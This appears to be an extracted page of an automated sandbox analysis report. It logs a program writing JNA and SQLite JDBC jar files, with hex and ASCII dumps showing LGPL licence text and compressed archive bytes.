2c 20 61 20 77 6f 72 
6b 20 63 6f 6e 74 61 
69 6e 69 6e 67 20 74 
68 65 20 4c 69 62 72 
61 72 79 

e "Library", below, refers to 
any such software library 
or work.which has been 
distributed under these 
terms.  A "work based on 
the.Library" means either 
the Library or any derivat
ive work under.copyright 
law: that is to say, a work 
containing the Library

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 74 65 6e 74 73 20 63 
6f 6e 73 74 69 74 75 
74 65 20 61 20 77 6f 
72 6b 20 62 61 73 65 
64 0a 6f 6e 20 74 68 
65 20 4c 69 62 72 61 
72 79 20 28 69 6e 64 
65 70 65 6e 64 65 6e 
74 20 6f 66 20 74 68 
65 20 75 73 65 20 6f 
66 20 74 68 65 20 4c 
69 62 72 61 72 79 20 
69 6e 20 61 20 74 6f 
6f 6c 20 66 6f 72 0a 
77 72 69 74 69 6e 67 
20 69 74 29 2e 20 20 
57 68 65 74 68 65 72 
20 74 68 61 74 20 69 
73 20 74 72 75 65 20 
64 65 70 65 6e 64 73 
20 6f 6e 20 77 68 61 
74 20 74 68 65 20 4c 
69 62 72 61 72 79 20 
64 6f 65 73 0a 61 6e 
64 20 77 68 61 74 20 
74 68 65 20 70 72 6f 
67 72 61 6d 20 74 68 
61 74 20 75 73 65 73 
20 74 68 65 20 4c 69 
62 72 61 72 79 20 64 
6f 65 73 2e 0a 20 20 
0a 20 20 31 2e 20 59 
6f 75 20 6d 61 79 20 
63 6f 70 79 20 61 6e 
64 20 64 69 73 74 72 
69 62 75 74 65 20 76 
65 72 62 

tents constitute a work 
based.on the Library 
(independent of the use of 
the Library in a tool 
for.writing it).  Whether 
that is true depends on 
what the Library does.and 
what the program that 
uses the Library does..  .  
1. You may copy and 
distribute verb
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 20 74 68 61 74 0a 79 
6f 75 20 63 6f 6e 73 
70 69 63 75 6f 75 73 
6c 79 20 61 6e 64 20 
61 70 70 72 6f 70 72 
69 61 74 65 6c 79 20 
70 75 62 6c 69 73 68 
20 6f 6e 20 65 61 63 
68 20 63 6f 70 79 20 
61 6e 0a 61 70 70 72 
6f 70 72 69 61 74 65 
20 63 6f 70 79 72 69 
67 68 74 20 6e 6f 74 
69 63 65 20 61 6e 64 
20 64 69 73 63 6c 61 
69 6d 65 72 20 6f 66 
20 77 61 72 72 61 6e 
74 79 3b 20 6b 65 65 
70 20 69 6e 74 61 63 
74 0a 61 6c 6c 20 74 
68 65 20 6e 6f 74 69 
63 65 73 20 74 68 61 
74 20 72 65 66 65 72 
20 74 6f 20 74 68 69 
73 20 4c 69 63 65 6e 
73 65 20 61 6e 64 20 
74 6f 20 74 68 65 20 
61 62 73 65 6e 63 65 
20 6f 66 20 61 6e 79 
0a 77 61 72 72 61 6e 
74 79 3b 20 61 6e 64 
20 64 69 73 74 72 69 
62 75 74 65 20 61 20 
63 6f 70 79 20 6f 66 
20 74 68 69 73 20 4c 
69 63 65 6e 73 65 20 
61 6c 6f 

 that.you conspicuously 
and appropriately publish 
on each copy 
an.appropriate copyright 
notice and disclaimer of 
warranty; keep intact.all 
the notices that refer to this 
License and to the 
absence of any.warranty; 
and distribute a copy of t
his License alo

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 73 73 95 5a 09 7c 94 
e5 d1 9f 79 f7 78 37 
9b 37 90 2c 04 b2 04 
70 e5 0c 4b 42 28 2a 
da 70 48 c8 a1 d1 5c 
26 40 0c b4 c5 37 bb 
6f c2 c2 66 37 ee c1 
a1 ad c7 a7 b6 d6 b3 
77 0b d6 6a ad 95 1e 
b6 45 25 1b 10 15 5b 
5b 6d ad 3d 6d 6b ef 
cb 5e d6 b6 da 7e d5 
a2 b5 f2 fd e7 79 77 
37 9b b0 50 be 9f f0 
dc ef cc 3c 33 ff 99 79 
66 f1 e9 37 1f 7e 8c 
88 56 68 cb bd 74 2e 
d7 96 50 23 d7 49 b3 
4c 9a 7a 9d 97 4b ff 
16 69 56 94 d0 2d 7c 
96 8c ce 96 e6 1c 2f 
9a 95 32 3a 57 e7 f3 
bc 54 c6 6f 2d 41 d3 
20 2b 0d 32 5a 25 a3 
55 32 5a ed e5 35 bc 
56 a6 e7 4b b3 5a d6 
d6 c9 68 9d 7c d6 28 
cd 7a 99 36 c9 c6 0a 
a1 db ec e1 16 2f b7 
f2 05 1e be 50 fa 36 
39 73 91 97 2f e6 76 
19 75 c8 a8 53 46 5d 
b2 db ad f3 25 5e aa 
e1 5a 99 f4 c8 a8 57 
46 1b 3c bc 51 fa 4d 
d2 f4 49 73 a9 87 fb 
a5 df 

ss.Z.|....y.x7.7.,...p..KB(*.p
H...\&@...7.o..f7.........w..j
....E%...[[m.=mk..^...~......y
w7..P......<3..yf..7.~..Vh..t.
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+.2Z%.U2Z..5.V..K.Z...h.|.
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69s../.v.u..SF]....%^..Z....W
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 61 63 69 6c 69 74 79 
20 69 6e 20 74 68 65 
20 6d 6f 64 69 66 69 
65 64 20 4c 69 62 72 
61 72 79 20 72 65 66 
65 72 73 20 74 6f 20 
61 20 66 75 6e 63 74 
69 6f 6e 20 6f 72 20 
61 0a 20 20 20 20 74 
61 62 6c 65 20 6f 66 
20 64 61 74 61 20 74 
6f 20 62 65 20 73 75 
70 70 6c 69 65 64 20 
62 79 20 61 6e 20 61 
70 70 6c 69 63 61 74 
69 6f 6e 20 70 72 6f 
67 72 61 6d 20 74 68 
61 74 20 75 73 65 73 
0a 20 20 20 20 74 68 
65 20 66 61 63 69 6c 
69 74 79 2c 20 6f 74 
68 65 72 20 74 68 61 
6e 20 61 73 20 61 6e 
20 61 72 67 75 6d 65 
6e 74 20 70 61 73 73 
65 64 20 77 68 65 6e 
20 74 68 65 20 66 61 
63 69 6c 69 74 79 0a 
20 20 20 20 69 73 20 
69 6e 76 6f 6b 65 64 
2c 20 74 68 65 6e 20 
79 6f 75 20 6d 75 73 
74 20 6d 61 6b 65 20 
61 20 67 6f 6f 64 20 
66 61 69 74 68 20 65 
66 66 6f 72 74 20 74 
6f 20 65 

acility in the modified 
Library refers to a function 
or a.    table of data to be 
supplied by an application 
program that uses.    the 
facility, other than as an 
argument passed when the 
facility.    is invoked, then 
you must make a good fa
ith effort to e

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 09 9d bf 8a 64 02 25 
b6 ec 0e 59 23 c2 0d 
02 cd b2 76 c3 31 42 
a9 6e 85 9f 64 6b 22 
3e dc 0a 4f 8e 29 4f 
5e 7d 52 15 9d a0 90 
62 91 c2 b5 d3 8e 10 
25 23 66 02 f4 52 62 
45 c7 8e 9d b8 dc b4 
2d c5 ce 3b 76 58 7b 
60 e7 48 36 9a d8 32 
f8 f2 1f 37 5b d1 08 e2 
80 50 d1 92 03 72 ff 
c9 34 d6 a7 23 d1 b0 
95 10 f4 c4 e2 31 fb 
4a 4d f1 74 0c 66 f7 
e6 c9 e0 d2 a5 31 6b 
57 ee 96 48 6f 3a 3d 
07 b5 4b bc 80 cc 35 
6d 6d 62 5d b6 c4 58 
8a 41 cc 4a c1 45 a3 
83 00 90 15 de d8 d3 
9e 57 1f f8 54 da 47 
22 f1 fa b6 ae c2 75 
23 61 25 e3 e9 44 28 
1b 12 4b 60 b3 14 34 
dd d4 ce 34 b3 40 6c 
e5 39 ed 71 d3 16 3a 
ff 51 63 38 8c 4b 4e 
19 67 0f ae d8 d7 d2 
23 f9 55 70 94 1b 8c 
8b a0 e8 15 8a e0 14 
1d 02 2e b8 b8 25 1a 
70 58 89 44 9e 3b 50 
23 90 19 3f af f3 d7 90 
61 91 5c 91 4f 91 4c 
91 

....d.%...Y#.....v.1B.n..dk">.

.O.)O^}R....b......%#f..RbE.

.....-..;vX{`.H6..2...7[....P...
r..4..#.......1.JM.t.f......1k
W..Ho:=..K...5mmb]..X.A.J.
E...
......W..T.G".....u#a%..D(..K
`
..4...4.@l.9.q..:.Qc8.KN.g...
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 0e 81 9d 02 8f 09 ec 
12 d8 2d f0 b8 c0 13 
02 4f 0a 3c 65 a1 97 
62 4c ed 94 e8 13 c4 
05 29 d6 2e c2 b4 dc 
e3 80 b9 a3 ba c0 91 
9b df 05 ce dc 82 2e 
70 1d b5 32 c1 ff 3b 
31 1c 92 00 d0 0f 2e 
d4 21 19 1b 61 30 36 
c1 50 6c 86 a7 68 2e 
37 b6 1f 9e b6 b4 f3 
88 f3 8f d6 88 2b c0 
61 8d b8 06 9c 24 a5 
f6 2d 2c 17 11 f2 aa 
a4 dc 63 e0 68 8b 9b 
1a c4 42 5c 6a a9 96 
63 0b 84 6a e4 e6 9e 
60 b3 b3 bd df e6 50 
c2 cd d4 db 13 6c 76 
f5 df 1c 49 b8 f9 f9 b8 
e5 6a 5a cd 73 e3 4e 
43 d2 0d c7 61 10 3b 
d0 0d 6e 55 22 c2 27 
e9 86 64 d5 43 e3 6e 
48 e9 af 7a 45 2f d5 
e3 e2 aa 5f 88 47 64 
2e ad e6 68 a5 2a ee 
52 a5 62 54 33 ab bb 
b9 74 54 4f 6c 06 53 
08 01 6f 03 27 de 0e 
5e bc c3 52 37 3c b6 
45 a8 73 92 fa 17 ad 
f0 23 bc 04 67 85 e2 
ed b4 86 76 42 61 6e 
de 1e 48 72 b5 e5 3d 
0f 49 

.........-.....O.<e..bL......)

...................p..2..;1...

....!..a06.Pl..h.7...........+

.a....$..-,......c.h....B\j..c

..j...`.....P.....lv...I.....j
Z.s.NC...a.;..nU".'..d.C.nH..
z
E/...._.Gd...h.*.R.bT3...tTOl
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success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 66 61 63 69 6c 69 74 
79 20 73 74 69 6c 6c 
20 6f 70 65 72 61 74 
65 73 2c 20 61 6e 64 
20 70 65 72 66 6f 72 
6d 73 20 77 68 61 74 
65 76 65 72 20 70 61 
72 74 20 6f 66 0a 20 
20 20 20 69 74 73 20 
70 75 72 70 6f 73 65 
20 72 65 6d 61 69 6e 
73 20 6d 65 61 6e 69 
6e 67 66 75 6c 2e 0a 
0a 20 20 20 20 28 46 
6f 72 20 65 78 61 6d 
70 6c 65 2c 20 61 20 
66 75 6e 63 74 69 6f 
6e 20 69 6e 20 61 20 
6c 69 62 72 61 72 79 
20 74 6f 20 63 6f 6d 
70 75 74 65 20 73 71 
75 61 72 65 20 72 6f 
6f 74 73 20 68 61 73 
0a 20 20 20 20 61 20 
70 75 72 70 6f 73 65 
20 74 68 61 74 20 69 
73 20 65 6e 74 69 72 
65 6c 79 20 77 65 6c 
6c 2d 64 65 66 69 6e 
65 64 20 69 6e 64 65 
70 65 6e 64 65 6e 74 
20 6f 66 20 74 68 65 
0a 20 20 20 20 61 70 
70 6c 69 63 61 74 69 
6f 6e 2e 20 20 54 68 
65 72 65 66 6f 72 65 
2c 20 53 

facility still operates, and p
erforms whatever part of.    
its purpose remains 
meaningful...    (For 
example, a function in a 
library to compute square 
roots has.    a purpose that 
is entirely well-defined inde
pendent of the.    
application.  Therefore, S
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 07 07 15 62 b6 ac c7 
6c 57 c2 c6 cf ac 09 
72 77 a5 53 23 e9 14 
20 64 99 c3 e2 60 e8 
15 c9 02 e3 c6 c6 0f 
20 f3 eb ec 42 1a d7 
f9 49 9d 9f 82 45 86 
ac d4 fa c2 d4 e3 a8 
59 82 74 34 25 39 69 
d9 59 a3 90 65 0c 47 
a2 d1 48 d2 02 24 c2 
c0 e2 f4 9a a2 be e3 
8d 46 06 76 02 ac 2a 
6a ce a8 59 52 3c 9d 
96 84 b6 59 a1 1d 5d 
0a b9 e0 0a ea a5 6a 
a5 29 9d 48 c6 71 03 
37 d0 ac 98 3a 12 c9 
94 6a 43 aa dd 06 bf 
82 78 27 24 c0 da 9a 
d3 ce 43 2a 04 0e ab 
af ca a1 80 e6 44 04 
e2 6e ca 49 0c 07 8e 
99 d1 c8 15 d8 75 85 
a2 f1 24 7a cf ea 50 
34 1b 7a dd 76 b6 d2 
f9 eb 18 db 6e 3a 29 
34 4e 60 6d 9f 80 e2 
bf 01 bd f4 2a a8 d8 
d6 9d 36 31 78 2e 13 
3d 1a f4 65 ae 32 e8 
2e ba db a0 4f d2 3d 
06 7d 8a ee c5 c9 3c 
ea c7 8f 1b f4 69 ba cf 
a0 fd 68 f8 69 ba df a0 
cf 4a 73 27 dd 61 d0 
f7 
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..D..n.I........u...$z..P4.z.v
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=..e.2.....O.=.}....<.....i...
.h.i....Js'.a..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6f 6c 65 2c 20 61 6e 
64 20 74 68 75 73 20 
74 6f 20 65 61 63 68 
20 61 6e 64 20 65 76 
65 72 79 20 70 61 72 
74 20 72 65 67 61 72 
64 6c 65 73 73 20 6f 
66 20 77 68 6f 20 77 
72 6f 74 65 0a 69 74 
2e 0a 0a 54 68 75 73 
2c 20 69 74 20 69 73 
20 6e 6f 74 20 74 68 
65 20 69 6e 74 65 6e 
74 20 6f 66 20 74 68 
69 73 20 73 65 63 74 
69 6f 6e 20 74 6f 20 
63 6c 61 69 6d 20 72 
69 67 68 74 73 20 6f 
72 20 63 6f 6e 74 65 
73 74 0a 79 6f 75 72 
20 72 69 67 68 74 73 
20 74 6f 20 77 6f 72 
6b 20 77 72 69 74 74 
65 6e 20 65 6e 74 69 
72 65 6c 79 20 62 79 
20 79 6f 75 3b 20 72 
61 74 68 65 72 2c 20 
74 68 65 20 69 6e 74 
65 6e 74 20 69 73 20 
74 6f 0a 65 78 65 72 
63 69 73 65 20 74 68 
65 20 72 69 67 68 74 
20 74 6f 20 63 6f 6e 
74 72 6f 6c 20 74 68 
65 20 64 69 73 74 72 
69 62 75 74 69 6f 6e 
20 6f 66 

ole, and thus to each and 
every part regardless of 
who wrote.it...Thus, it is 
not the intent of this 
section to claim rights or 
contest.your rights to work 
written entirely by you; 
rather, the intent is to.exer
cise the right to control the 
distribution of
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 7a 09 1d 67 fe d7 2a 
85 69 e1 69 15 20 13 
42 99 1d 65 91 aa 8b 
3d 7d 73 d1 73 f2 7b 
ae 30 38 8c bf 1e 26 
78 ec 86 6d 89 f8 2e 
bb 3c 98 7b ea dc 87 
ab 6d f9 6f e9 11 86 
6b 6e 69 6d 6d e9 69 
69 46 f8 aa 39 79 e1 
32 f7 d4 65 13 22 30 
f2 79 9b aa f1 e5 cd 
77 76 91 22 60 c9 7f 
2f bd 7c 43 45 de 17 
4b 6b fe 3f 35 b5 bc 
2b ba 26 56 f1 5e 48 
05 1c f7 45 52 78 c2 
54 16 93 6c 33 f4 20 
af 6d 33 22 e5 4d 75 
e1 91 a6 6d 66 a2 d7 
ba 3c 6d e1 5e ea e0 
f4 48 b2 25 26 06 08 
f7 62 cb 0a 37 49 1e 
56 2f 29 6c fa 4e 7c 
71 21 84 27 d5 c1 ad 
21 fb a4 b3 66 b3 3c 
f5 66 e4 e9 88 ed 5b 
76 a7 ac 98 0d a2 4a 
4b 2d 6f 15 7f da 6a 
8d af bb cc 91 91 28 
b2 5b 55 4d 7b 91 87 
89 b2 92 1e 89 85 ad 
dd 5d 83 f6 bb 11 4c 
4a 92 e9 81 64 16 89 
33 a4 4a 29 f6 6c 74 
83 b0 15 43 d0 a9 2b 
6a b5 93 

z..g..*.i.i. .B..e...=}s.s.{.0
8...&x..m....<.{....m.o...knim
m.iiF..9y.2..e."0.y.....wv."`.
./.|CE..Kk.?
5..+.&V.^H...ERx.T..l3. 
.m3".Mu...mf...<m.^...H.
%&...b..7I.V/)l.N|q!.'...!...f.
<.f....[v.....JK-o...j......(.
[UM{..........]....LJ...d..3.
J).lt...C..+j..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 86 1f 90 01 7a 46 85 
bb 67 28 f0 5c 53 8b 
4f 83 f7 86 8c bc fc e3 
30 b8 a6 03 52 0b ba 
41 39 01 43 4e 82 ea 
a0 ab 9c d6 23 29 38 
09 43 9d b0 b8 03 d2 
48 30 4c cc 0f 11 6c 
7c 72 38 8d 46 38 60 
71 41 7b fc 5c 63 c0 
4d e7 3a 43 e7 79 01 
46 e3 8b 50 88 67 61 
2a be 0c 73 f1 15 58 
88 e7 7a 95 f7 62 d1 
d4 78 c4 45 8d d6 e8 
55 2a 6a 07 9d a3 0a 
7e 4c a7 72 5a a7 4a 
06 c7 a7 50 48 47 ca 
a4 e1 4f e0 a7 b4 80 
cf 94 65 6d 01 70 93 
23 27 60 64 bb 95 fa 
9e d2 78 55 b4 bd d7 
68 d3 cf e0 e7 22 10 
57 8a 5a f3 d2 59 72 
4f 42 ba 83 22 ea ed 
5f 55 af f5 aa 2a af e8 
b9 c9 fc 61 23 94 dc 
4b d1 e4 12 29 a3 80 
65 d8 f1 5b 0f 43 e3 
ac 50 6b 05 5b 14 b5 
9a 41 15 4c bf 64 aa 
62 5a 34 8a 32 50 95 
d7 13 37 95 63 82 af 
43 2a be 41 b9 7f 13 
a6 e3 5b f1 5a 9c 4e 
bf 37 28 1a ec 4e 99 
88 

....zF..g(.\S.O.......0...R..A
9.CN......#)8.C.....H0L...l|r8
.F8`qA{.\c.M.:C.y.F..P.ga*..
s.
.X..z..b..x.E...U*j....~L.rZ.J
...PHG...O......em.p.#'`d.....
xU...h....".W.Z..YrOB..".._U
...*.....a#..K...)..e..[.C..Pk.[
...A.L.d.bZ4.2P...7.c..C*.A..
...[.Z.N.7(..N..

success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 223 of 706



C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 68 65 72 20 77 6f 72 
6b 20 6e 6f 74 20 62 
61 73 65 64 20 6f 6e 
20 74 68 65 20 4c 69 
62 72 61 72 79 0a 77 
69 74 68 20 74 68 65 
20 4c 69 62 72 61 72 
79 20 28 6f 72 20 77 
69 74 68 20 61 20 77 
6f 72 6b 20 62 61 73 
65 64 20 6f 6e 20 74 
68 65 20 4c 69 62 72 
61 72 79 29 20 6f 6e 
20 61 20 76 6f 6c 75 
6d 65 20 6f 66 0a 61 
20 73 74 6f 72 61 67 
65 20 6f 72 20 64 69 
73 74 72 69 62 75 74 
69 6f 6e 20 6d 65 64 
69 75 6d 20 64 6f 65 
73 20 6e 6f 74 20 62 
72 69 6e 67 20 74 68 
65 20 6f 74 68 65 72 
20 77 6f 72 6b 20 75 
6e 64 65 72 0a 74 68 
65 20 73 63 6f 70 65 
20 6f 66 20 74 68 69 
73 20 4c 69 63 65 6e 
73 65 2e 0a 0a 20 20 
33 2e 20 59 6f 75 20 
6d 61 79 20 6f 70 74 
20 74 6f 20 61 70 70 
6c 79 20 74 68 65 20 
74 65 72 6d 73 20 6f 
66 20 74 68 65 20 6f 
72 64 69 6e 61 72 79 
20 47 4e 

her work not based on the 
Library.with the Library (or 
with a work based on the 
Library) on a volume of.a 
storage or distribution 
medium does not bring the 
other work under.the sco
pe of this License...  3. You 
may opt to apply the terms 
of the ordinary GN

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 20 34 2e 20 59 6f 75 
20 6d 61 79 20 63 6f 
70 79 20 61 6e 64 20 
64 69 73 74 72 69 62 
75 74 65 20 74 68 65 
20 4c 69 62 72 61 72 
79 20 28 6f 72 20 61 
20 70 6f 72 74 69 6f 
6e 20 6f 72 0a 64 65 
72 69 76 61 74 69 76 
65 20 6f 66 20 69 74 
2c 20 75 6e 64 65 72 
20 53 65 63 74 69 6f 
6e 20 32 29 20 69 6e 
20 6f 62 6a 65 63 74 
20 63 6f 64 65 20 6f 
72 20 65 78 65 63 75 
74 61 62 6c 65 20 66 
6f 72 6d 0a 75 6e 64 
65 72 20 74 68 65 20 
74 65 72 6d 73 20 6f 
66 20 53 65 63 74 69 
6f 6e 73 20 31 20 61 
6e 64 20 32 20 61 62 
6f 76 65 20 70 72 6f 
76 69 64 65 64 20 74 
68 61 74 20 79 6f 75 
20 61 63 63 6f 6d 70 
61 6e 79 0a 69 74 20 
77 69 74 68 20 74 68 
65 20 63 6f 6d 70 6c 
65 74 65 20 63 6f 72 
72 65 73 70 6f 6e 64 
69 6e 67 20 6d 61 63 
68 69 6e 65 2d 72 65 
61 64 61 62 6c 65 20 
73 6f 75 

 4. You may copy and 
distribute the Library (or a 
portion or.derivative of it, 
under Section 2) in object 
code or executable 
form.under the terms of S
ections 1 and 2 above 
provided that you 
accompany.it with the 
complete corresponding 
machine-readable sou
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C:\Users\user\lib\jna-5.5.0.jard unknown 347 f2 79 bc 7f cf a4 6e 33 
9c a3 1c e2 a4 5e 48 
1a 79 5d 35 08 81 6a 
1c fb 55 5b 25 78 4c 
95 59 b8 66 6d 6a 09 
41 5b 52 96 d6 8c 82 
5d 64 7c 79 77 5d 90 
99 d1 8d 42 8d 4d 51 
1d 55 99 60 9b 49 b5 
cc 78 37 5d f1 2a 69 
1a 36 4d 75 6e bc 62 
cf 56 ec 8c 6d 6a ea 
0c bb 0e 65 6c 35 77 
db cd ea ac eb c7 cd 
ce cf 2b f8 82 82 2f f2 
8d e0 9c 57 f0 25 c6 
9b 3c 99 d3 66 65 70 
96 82 2f f3 b8 a0 d9 
c9 7a fe 46 e2 bd 57 
67 f0 e8 55 ca ff 27 21 
03 99 72 c5 cc 69 92 
05 be 27 cb d6 ec 94 
be 05 76 e1 01 42 c7 
ab fb b8 01 ca cd 04 
b6 63 07 47 22 f0 15 
7c 55 e0 6b 38 23 70 
16 5f 17 f8 06 be c9 
a1 09 7c 0b df 16 f8 
8e 14 0f e2 1c c7 2b 
f0 5d 7c 4f c1 f7 05 1e 
c2 bc c0 c3 78 44 e0 
07 f8 a1 9c 7e 54 e0 
47 78 44 c1 8f 09 7d 
6f 28 04 89 ef 27 0a 
1e 13 78 1c e7 05 7e 
8a 0b 02 4f c0 11 

.y....n3.....^H.y]5..j..U[%xL.
Y.fmj.A[R....]d|yw]....B.MQ.
U.
`.I..x7].*i.6Mun.b.V..mj....el
5w.........+.../....W.%..<..fe
p../.....z.F..Wg..U..'!..r..i.
..'......v..B.........c.G"..|U
.k8#p._.......|..........+.]|O
........xD.....~T.GxD...}o(...
'...x...~...O..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 73 74 6f 6d 61 72 69 
6c 79 20 75 73 65 64 
20 66 6f 72 20 73 6f 
66 74 77 61 72 65 20 
69 6e 74 65 72 63 68 
61 6e 67 65 2e 0a 0a 
20 20 49 66 20 64 69 
73 74 72 69 62 75 74 
69 6f 6e 20 6f 66 20 6f 
62 6a 65 63 74 20 63 
6f 64 65 20 69 73 20 
6d 61 64 65 20 62 79 
20 6f 66 66 65 72 69 
6e 67 20 61 63 63 65 
73 73 20 74 6f 20 63 
6f 70 79 0a 66 72 6f 
6d 20 61 20 64 65 73 
69 67 6e 61 74 65 64 
20 70 6c 61 63 65 2c 
20 74 68 65 6e 20 6f 
66 66 65 72 69 6e 67 
20 65 71 75 69 76 61 
6c 65 6e 74 20 61 63 
63 65 73 73 20 74 6f 
20 63 6f 70 79 20 74 
68 65 0a 73 6f 75 72 
63 65 20 63 6f 64 65 
20 66 72 6f 6d 20 74 
68 65 20 73 61 6d 65 
20 70 6c 61 63 65 20 
73 61 74 69 73 66 69 
65 73 20 74 68 65 20 
72 65 71 75 69 72 65 
6d 65 6e 74 20 74 6f 
0a 64 69 73 74 72 69 
62 75 74 65 20 74 68 
65 20 

stomarily used for software 
interchange...  If 
distribution of object code 
is made by offering access 
to copy.from a designated 
place, then offering e
quivalent access to copy 
the.source code from the 
same place satisfies the 
requirement to.distribute 
the 
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6b 20 74 68 61 74 20 
75 73 65 73 20 74 68 
65 20 4c 69 62 72 61 
72 79 22 20 75 73 65 
73 20 6d 61 74 65 72 
69 61 6c 20 66 72 6f 
6d 20 61 20 68 65 61 
64 65 72 20 66 69 6c 
65 0a 74 68 61 74 20 
69 73 20 70 61 72 74 
20 6f 66 20 74 68 65 
20 4c 69 62 72 61 72 
79 2c 20 74 68 65 20 
6f 62 6a 65 63 74 20 
63 6f 64 65 20 66 6f 
72 20 74 68 65 20 77 
6f 72 6b 20 6d 61 79 
20 62 65 20 61 0a 64 
65 72 69 76 61 74 69 
76 65 20 77 6f 72 6b 
20 6f 66 20 74 68 65 
20 4c 69 62 72 61 72 
79 20 65 76 65 6e 20 
74 68 6f 75 67 68 20 
74 68 65 20 73 6f 75 
72 63 65 20 63 6f 64 
65 20 69 73 20 6e 6f 
74 2e 0a 57 68 65 74 
68 65 72 20 74 68 69 
73 20 69 73 20 74 72 
75 65 20 69 73 20 65 
73 70 65 63 69 61 6c 
6c 79 20 73 69 67 6e 
69 66 69 63 61 6e 74 
20 69 66 20 74 68 65 
20 77 6f 72 6b 20 63 
61 6e 20 

k that uses the Library" 
uses material from a 
header file.that is part of 
the Library, the object 
code for the work may be 
a.derivative work of the Li
brary even though the 
source code is 
not..Whether this is true is 
especially significant if the 
work can 

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 82 72 8c bf e3 6e ef 
83 d8 c9 6d 84 7b 11 
54 d0 c7 d4 c7 b9 dd 
0f df ff 00 50 4b 03 04 
0a 00 00 08 08 00 8c 
8c 5e 4f 45 7f e9 fd fb 
10 00 00 99 23 00 00 
1d 00 00 00 63 6f 6d 
2f 73 75 6e 2f 6a 6e 
61 2f 45 4c 46 41 6e 
61 6c 79 73 65 72 2e 
63 6c 61 73 73 bd 59 
09 78 5c d5 75 fe ef 
9b e5 8d 46 4f 8b 25 
6f 23 4b d8 60 d9 48 
33 b6 e5 0d d9 48 c6 
78 b4 d9 63 8f 24 c7 
12 36 32 4e c4 93 34 
92 06 46 33 62 66 e4 
85 84 25 09 4e 20 40 
69 9b 84 46 0e 5b 13 
5a b5 29 a4 b6 03 b2 
8c 1d d6 02 0d 49 69 
b3 37 2d 90 a5 4d d2 
25 6d d2 26 69 09 b1 
51 fe f3 66 34 1a c9 
23 6a 9a 7e b5 ad f3 
de 3d f7 9e 73 cf 39 f7 
3f e7 9e 27 bf f2 f6 53 
4f 03 58 af ee d6 f1 
5d 37 14 be 27 e4 fb 
79 24 3f 10 f2 0f 42 fe 
51 c8 0f 65 e2 47 42 
7e 2c c3 7f 12 f2 cf 42 
fe 45 c8 bf ba d1 85 9f 
e8 f8 37 

.r...n....m.{.T..........PK...

.......^OE........#......com/s
un/jna/ELFAnalyser.class.
Y.x\.
u.....FO.%o#K.`.H3....H.x..
c.$..62N..4..F3bf...%.N 
@i..F.[.Z.).........Ii.7-
..M.%m.&i..Q..
f4..#j.~....=..s.9.?..'...SO.X
....]7..'..y$?...B.Q..e.GB~,..
...B.E........7
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6f 20 62 65 20 74 72 
75 65 20 69 73 20 6e 
6f 74 20 70 72 65 63 
69 73 65 6c 79 20 64 
65 66 69 6e 65 64 20 
62 79 20 6c 61 77 2e 
0a 0a 20 20 49 66 20 
73 75 63 68 20 61 6e 
20 6f 62 6a 65 63 74 
20 66 69 6c 65 20 75 
73 65 73 20 6f 6e 6c 
79 20 6e 75 6d 65 72 
69 63 61 6c 20 70 61 
72 61 6d 65 74 65 72 
73 2c 20 64 61 74 61 
0a 73 74 72 75 63 74 
75 72 65 20 6c 61 79 
6f 75 74 73 20 61 6e 
64 20 61 63 63 65 73 
73 6f 72 73 2c 20 61 
6e 64 20 73 6d 61 6c 
6c 20 6d 61 63 72 6f 
73 20 61 6e 64 20 73 
6d 61 6c 6c 20 69 6e 
6c 69 6e 65 0a 66 75 
6e 63 74 69 6f 6e 73 
20 28 74 65 6e 20 6c 
69 6e 65 73 20 6f 72 
20 6c 65 73 73 20 69 
6e 20 6c 65 6e 67 74 
68 29 2c 20 74 68 65 
6e 20 74 68 65 20 75 
73 65 20 6f 66 20 74 
68 65 20 6f 62 6a 65 
63 74 0a 66 69 6c 65 
20 69 73 20 75 6e 72 
65 73 74 

o be true is not precisely 
defined by law...  If such 
an object file uses only 
numerical parameters, 
data.structure layouts and 
accessors, and small m
acros and small 
inline.functions (ten lines 
or less in length), then the 
use of the object.file is 
unrest

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 20 66 6f 72 20 64 65 
62 75 67 67 69 6e 67 
20 73 75 63 68 20 6d 
6f 64 69 66 69 63 61 
74 69 6f 6e 73 2e 0a 
0a 20 20 59 6f 75 20 
6d 75 73 74 20 67 69 
76 65 20 70 72 6f 6d 
69 6e 65 6e 74 20 6e 
6f 74 69 63 65 20 77 
69 74 68 20 65 61 63 
68 20 63 6f 70 79 20 
6f 66 20 74 68 65 20 
77 6f 72 6b 20 74 68 
61 74 20 74 68 65 0a 
4c 69 62 72 61 72 79 
20 69 73 20 75 73 65 
64 20 69 6e 20 69 74 
20 61 6e 64 20 74 68 
61 74 20 74 68 65 20 
4c 69 62 72 61 72 79 
20 61 6e 64 20 69 74 
73 20 75 73 65 20 61 
72 65 20 63 6f 76 65 
72 65 64 20 62 79 0a 
74 68 69 73 20 4c 69 
63 65 6e 73 65 2e 20 
20 59 6f 75 20 6d 75 
73 74 20 73 75 70 70 
6c 79 20 61 20 63 6f 
70 79 20 6f 66 20 74 
68 69 73 20 4c 69 63 
